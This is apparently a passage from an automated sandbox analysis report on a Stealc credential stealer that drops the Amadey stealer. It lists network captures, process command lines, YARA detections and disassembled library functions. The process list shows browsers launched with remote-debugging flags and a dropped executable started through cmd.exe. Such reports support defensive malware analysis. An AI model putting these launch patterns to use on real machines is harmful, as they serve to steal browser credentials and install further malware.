146	192.168.2.6	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:50 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:50 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:50 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 1e58b78d-401e-0029-678d-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015550Z-174c587ffdf89smkhC1TEB697s00000002cg0000000068n4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:50 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49929	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:50 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:50 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5556881b-d01e-008e-6531-3c387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015550Z-178bfbc474b9fdhphC1NYCac0n00000003qg00000000d6ds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:51 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49933	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:51 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:51 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:51 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 6b04d5e8-e01e-000c-65ad-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015551Z-174c587ffdfmlsmvhC1TEBvyks00000002bg00000000h13w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:51 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49934	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:51 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:52 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4857c71c-401e-0067-7e3a-3c09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015552Z-15b8b599d88qw29phC1TEB5zag000000026g00000000ex6q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:52 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Target ID:	0
Start time:	20:55:04
Start date:	22/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x150000
File size:	1'825'280 bytes
MD5 hash:	C39EB549A7DC6F9F6EEABABCAEA602DC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2160232079.0000000004DD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2666039485.0000000000151000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2666039485.000000000021C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2667851166.000000000103E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:55:16
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:55:17
Start date:	22/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 --field-trial-handle=2180,i,13176118876904001922,10244841631199679070,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:55:27
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:55:27
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2232,i,8971129081946804549,660642192054398169,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	20:55:27
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	20:55:28
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	20:55:32
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6516 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	20:55:33
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6640 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	20:55:33
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6984 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	20:55:33
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6984 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	20:55:54
Start date:	22/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEBKEHJJDAA.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	20:55:55
Start date:	22/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	20:55:55
Start date:	22/11/2024
Path:	C:\Users\user\DocumentsEBKEHJJDAA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsEBKEHJJDAA.exe"
Imagebase:	0x680000
File size:	1'920'512 bytes
MD5 hash:	3DDA196E23D46002E364E5CAB7803F7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2687274886.0000000000681000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2646542332.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	20:55:57
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xd40000
File size:	1'920'512 bytes
MD5 hash:	3DDA196E23D46002E364E5CAB7803F7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000002.2711342646.0000000000D41000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000019.00000003.2669469165.0000000005130000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	20:55:57
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd40000
File size:	1'920'512 bytes
MD5 hash:	3DDA196E23D46002E364E5CAB7803F7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000002.2718925825.0000000000D41000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001A.00000003.2677919904.0000000005350000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	20:56:28
Start date:	22/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6744 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	28
Start time:	20:57:00
Start date:	22/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xd40000
File size:	1'920'512 bytes
MD5 hash:	3DDA196E23D46002E364E5CAB7803F7A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000003.3296532538.0000000005180000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000001C.00000002.3399174335.0000000000D41000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9435A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CF688,00001000), ref: 6C9435D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9435E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9435FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C94363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C94369F
__aulldiv.LIBCMT ref: 6C9436E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C943773
EnterCriticalSection.KERNEL32(6C9CF688), ref: 6C94377E
LeaveCriticalSection.KERNEL32(6C9CF688), ref: 6C9437BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9437C4
EnterCriticalSection.KERNEL32(6C9CF688), ref: 6C9437CB
LeaveCriticalSection.KERNEL32(6C9CF688), ref: 6C943801
__aulldiv.LIBCMT ref: 6C943883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C943902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C943918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C94394C

Strings

GTC, xrefs: 6C943912
AuthcAMDenti, xrefs: 6C943946
GenuntelineI, xrefs: 6C943639
MOZ_TIMESTAMP_MODE, xrefs: 6C9435DB
QPC, xrefs: 6C9438FC

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 1fcb96a5e4391191d3f9f03b77d6f199ef7840dd6f7d11c237b1c08782ba0a56
Instruction ID: c1339c64c0ca72303d26456c6f3c8558b87744ab0b0eb962c5ef0c0c44d53dab
Opcode Fuzzy Hash: 1fcb96a5e4391191d3f9f03b77d6f199ef7840dd6f7d11c237b1c08782ba0a56
Instruction Fuzzy Hash: 6DB1A471B0D3109BDB08DF38C55561ABBF9FB8A704F25892EE899D3790D730DA008B92

Function 6C95C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C95C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C95C969
GetSystemInfo.KERNEL32(?), ref: 6C95C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C95C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C95C9E2

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 70e542b0c01fab2fb1908c5e6ab3653d1ff4532a6abc98cd1f9a7fa492069a36
Instruction ID: 9cad03967fe9529d88924d608f60494f53451f6880271c25c5577cacfe575d7f
Opcode Fuzzy Hash: 70e542b0c01fab2fb1908c5e6ab3653d1ff4532a6abc98cd1f9a7fa492069a36
Instruction Fuzzy Hash: 8821F972745214ABDB14EB24DC94BAE73B9AB4A704FE0011AF907A7B80DB70DE10C7A1

Function 6C943060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C943095

Part of subcall function 6C9435A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9CF688,00001000), ref: 6C9435D5
Part of subcall function 6C9435A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9435E0
Part of subcall function 6C9435A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9435FD
Part of subcall function 6C9435A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C94363F
Part of subcall function 6C9435A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C94369F
Part of subcall function 6C9435A0: __aulldiv.LIBCMT ref: 6C9436E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C94309F

Part of subcall function 6C965B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9656EE,?,00000001), ref: 6C965B85
Part of subcall function 6C965B50: EnterCriticalSection.KERNEL32(6C9CF688,?,?,?,6C9656EE,?,00000001), ref: 6C965B90
Part of subcall function 6C965B50: LeaveCriticalSection.KERNEL32(6C9CF688,?,?,?,6C9656EE,?,00000001), ref: 6C965BD8
Part of subcall function 6C965B50: GetTickCount64.KERNEL32 ref: 6C965BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9430BE

Part of subcall function 6C9430F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C943127
Part of subcall function 6C9430F0: __aulldiv.LIBCMT ref: 6C943140

Part of subcall function 6C97AB2A: __onexit.LIBCMT ref: 6C97AB30

Memory Dump Source

Source File: 00000000.00000002.2699184993.000000006C941000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C940000, based on PE: true

Associated: 00000000.00000002.2699159828.000000006C940000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699380463.000000006C9CE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2699408923.000000006C9D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c940000_file.jbxd

Similarity
